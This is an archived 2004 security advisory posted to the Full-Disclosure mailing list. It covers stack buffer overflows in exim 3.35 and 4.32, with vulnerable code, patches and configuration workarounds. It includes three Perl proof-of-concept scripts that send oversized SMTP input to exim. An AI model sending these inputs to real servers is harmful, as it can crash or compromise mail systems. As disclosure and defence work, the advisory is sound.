[Full-Disclosure] Buffer overflows in exim, yet still exim much better than windows

From: Georgi Guninski (guninski_at_guninski.com)
Date: 05/06/04

  • Next message: Steve Bremer: "RE: [Full-Disclosure] Learn from history?"
    To: full-disclosure@lists.netsys.com
    Date: Thu, 6 May 2004 14:10:31 +0300
    
    

    Georgi Guninski security advisory #68, 2004

    Buffer overflows in exim, yet still exim much better than windows

    Systems affected:
    two bugs in exim 3.35
    one of them present in exim 4.32

    Risk: Medium - not in default install
    Date: 6 May 2004

    Legal Notice:
    This Advisory is Copyright (c) 2004 Georgi Guninski.
    You may distribute it unmodified.
    You may not modify it and distribute it or distribute parts
    of it without the author's written permission - this especially applies to
    so called "vulnerabilities databases" and securityfocus, microsoft, cert
    and mitre.
    If you want to link to this content use the URL:
    http://www.guninski.com/exim1.html
    Anything in this document may change without notice.

    Disclaimer:
    The information in this advisory is believed to be true though
    it may be false.
    The opinions expressed in this advisory and program are my own and
    not of any company. The usual standard disclaimer applies,
    especially the fact that Georgi Guninski is not liable for any damages
    caused by direct or indirect use of the information or functionality
    provided by this advisory or program. Georgi Guninski bears no
    responsibility for content or misuse of this advisory or program or
    any derivatives thereof.

    Description:

    There are two stack based overflows in exim 3.35. One them (bug1) is easily
    exploitable. Ease of exploitation of the other one (bug2) is not clear, but i
    won't be surprised if it is exploitable. Too lazy to check for sure.
    (bug2) is also present in exim 4.32.
    Both bugs are not in default exim configuration and need enabling options.

    Details:

    bug1:
    in exim 3.35 in verify.c there are two occurences of:

    ---
    sprintf(buffer, "%s:%.200s", sender_address,
    ---
    where buffer is on the stack.
    This is classic stack overflow.
    This bug works if works if "sender_verify = true" is in exim.conf
    To test for vulnerability:
    ./exi1.pl | nc localhost 25
    then press enter.
    bug2:
    in accept.c for exim 3.35 and in verify.c for exim 4.32 there is:
    ---
    char hname[64];
    char *t = h->text;
    char *tt = hname;
    char *verb = "is";
    int len;
    while (*t != ':') *tt++ = *t++;
    *tt = 0;
    ---
    this code is hit if "headers_check_syntax" is in exim.conf for 3.35 and
    "require verify          = header_syntax" is in the .conf for 4.32
    the difficulty of exploiting this is that "t" can have limited content,
    but can have arbitrary length.
    To test for vulnerability for 3.35:
    ./exi2.pl | nc localhost 25
    then press enter.
    To test for vulnerability for 4.32:
    ./exi3.pl localhost 25
    Fix:
    Unofficial fix from me, but debian seems to agree with it.
    for exim 3.35
    for bug1:
    in verify.c
    find the following:
    sprintf(buffer, "%s:%.200s", sender_address,
      (sender_host_name != NULL)? sender_host_name :
      (sender_host_address != NULL)? sender_host_address : "");
    and
    sprintf(buffer, "%s:%.200s", sender_address,
      (sender_host_name != NULL)? sender_host_name :
      (sender_host_address != NULL)? sender_host_address : "");
    in both above cases replace "sprintf(buffer," with:
    "snprintf(buffer, sizeof(buffer),"
    for bug2:
    in accept.c find:
    while (*t != ':') *tt++ = *t++;
    and replace it with:
    while (*t != ':' && tt < &hname[sizeof(hname)-2]) *tt++ = *t++;
    for exim 4.32
    for bug2:
    in verify.c find 
    while (*t != ':') *tt++ = *t++;
    and replace it with:
    while (*t != ':' && tt < &hname[sizeof(hname)-2]) *tt++ = *t++;
    Note: you need to change some addresses in the perls below.
    ----exi1.pl----------------------------------
    #!/usr/bin/perl
    # works if sender_verify = true is in exim.conf
    # written by georgi guninski
    # cannot be used in vulnerability databases or CVE
    print "HELO a\r\n";
    my $ch=getc();
    print "MAIL FROM: " . "v" x 300 ."\@vt" . "\r\n";
    print "RCPT TO: BillGay\@localhost\r\n";
    print "DATA\r\n";
    #print "From" . " " x 65 . ":" . "ff fff ff" ."\r\n";
    print "asdasd\r\n";
    print "\r\n";
    print ".\r\n";
    print "QUIT\r\n";
    ---------------------------------------------
    ----exi2.pl----------------------------------
    #!/usr/bin/perl
    # works if headers_check_syntax is in exim.conf
    # written by georgi guninski
    # cannot be used in vulnerability databases
    print "HELO a\r\nMAIL FROM: BillGay\@localhost\r\nRCPT TO: SteveNoBall\@localhost\r\n";
    print "DATA\r\n";
    my $ch=getc();
    print "From" . " " x 275 . ":" ."vv v \r\n";
    print "asdasd\r\n";
    print "\r\n";
    print ".\r\n";
    print "QUIT\r\n";
    ---------------------------------------------
    ----exi3.pl----------------------------------
    #!/usr/bin/perl
    use IO::Socket;
    my $port = $ARGV[1];
    my $host = $ARGV[0];
    # written by georgi guninski
    # cannot be used in vulnerability databases
    print "Written by georgi guninski\nCannot be used in vulnerability databases or CVE\n";
    my $repl;
    my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || die "socket";
    $repl= <$socket>;
    print "server replied ${repl}";
    my $req  = "HELO a\r\n";
    syswrite($socket,$req,length($req));
    $repl= <$socket>;
    print "server replied ${repl}";
    my $fromaddr="BillGay\@soft";
    my $touser="SteveNoBall\@soft";
    $req = "MAIL FROM: ${fromaddr}\r\n";
    syswrite($socket,$req,length($req));
    $repl= <$socket>;
    print "server replied ${repl}";
    $req = "RCPT TO: ${touser}\r\n";
    syswrite($socket,$req,length($req));
    $repl= <$socket>;
    print "server replied ${repl}";
    $req = "DATA\r\n";
    syswrite($socket,$req,length($req));
    $repl= <$socket>;
    print "server replied ${repl}";
    print "Attached with debugger to exim and press enter\n";
    my $ccc=getc();
    $req = "From" . " " x 200 . ":" ." root\r\n";
    $req .= "just to let you know that you sux\r\n";
    $req .= ".\r\n";
    syswrite($socket,$req,length($req));
    $repl= <$socket>;
    print "server replied ${repl}";
    while(<$socket>)
    {
    print $_;
    }
    close $socket;
    ---------------------------------------------
    Workaround:
    for exim 3.35
    make sure you don't have the following options in exim.conf:
    ---
    sender_verify = true
    headers_check_syntax
    ---
    for exim 4.32
    make sure you don't have the following option in the config file:
    require verify          = header_syntax
    Vendor status:
    exim.org and debian are aware of the bugs
    Georgi Guninski
    http://www.guninski.com
    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html
    

  • Next message: Steve Bremer: "RE: [Full-Disclosure] Learn from history?"